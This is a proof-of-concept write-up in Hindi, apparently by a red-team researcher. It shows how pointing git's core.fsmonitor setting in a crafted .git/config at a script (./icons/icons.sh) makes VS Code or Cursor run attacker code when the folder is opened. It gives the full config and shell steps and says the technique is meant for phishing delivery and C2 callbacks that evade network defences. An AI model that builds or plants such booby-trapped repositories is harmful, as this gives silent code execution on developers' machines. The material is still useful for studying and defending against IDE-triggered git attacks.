
यह IDE के विरुद्ध "fsmonitor" के दुरुपयोग के लिए एक कार्य-प्रमाण है।
यह एक दस्तावेज़ीकृत (ज्ञात) समस्या है, लेकिन मुझे यह अपने शोध के दौरान मिला और यह RT/PT के लिए काफी उपयोगी है।
सारांश: FSMonitor हेल्पर git द्वारा हर कमांड जैसे git status, git diff आदि पर निष्पादित किया जाता है, इसलिए git आँख बंद करके उस पथ को लॉन्च करेगा जो हम वहाँ निर्दिष्ट करते हैं। हमारे IDE जैसे ही आप कोई फ़ोल्डर खोलते हैं, अपने SCM (स्रोत नियंत्रण प्रबंधन) पैनल को भरने के लिए स्वचालित रूप से git status चलाते हैं;
जो git को कॉन्फ़िगर किए गए हेल्पर को स्पॉन करने की अनुमति देता है जो हमलावर-नियंत्रित कोड निष्पादित करता है। इस ट्रेडक्राफ्ट का उपयोग RT के दौरान या किसी भी C2 या हमारे XRayC2 के साथ एक assume-breach परिदृश्य में किया जा सकता है, ताकि एक कॉलबैक प्राप्त हो सके जो पारंपरिक नेटवर्क सुरक्षा को चकमा दे। (बेशक, अंतिम उपयोगकर्ता को बेवकूफ बनाने के लिए फ़िशिंग ईमेल की आवश्यकता होती है, लेकिन IDE में एक फ़ोल्डर खोलना एक उचित कार्य प्रतीत होता है)।
प्रूफ-ऑफ-वर्क, git clone इस रेपो को करें और अपने .git निर्देशिका के अंतर्गत नीचे दिए गए कॉन्फ़िगरेशन को जोड़ें। एक बार हो जाने के बाद, क्राफ्ट किए गए फ़ोल्डर को IDE के साथ खोलें, एक कैलकुलेटर पॉप-अप होना चाहिए। (मैंने इसे Code और Cursor के साथ परीक्षण किया है)। यह POC macOS-विशिष्ट है, इसे अपने वातावरण के अनुसार संशोधित करें।
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Code पर परीक्षण किया गया
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
यह काम करता है क्योंकि हम रेपो को इनिशियलाइज़ करते हैं और फिर core.fsmonitor को एक फ़ाइल में जोड़ते हैं (जो एक पेलोड हो सकती है)। इसलिए, एक फ़ोल्डर खोलना आपके कोड को निष्पादित करने के लिए पर्याप्त है। "अधिकांश" डेवलपर्स/उपयोगकर्ताओं के पास ~/Downloads (और इसी तरह के शीर्ष-स्तरीय फ़ोल्डर) उनके विश्वसनीय वर्कस्पेस में होते हैं, इसलिए PoC चुपचाप चलता है; लेकिन यदि कोई रेपो उन विश्वसनीय पथों के बाहर है, तो IDE .git/config को पढ़ने से पहले "इस प्रकाशक पर भरोसा करें?" प्रॉम्प्ट दिखाएगा।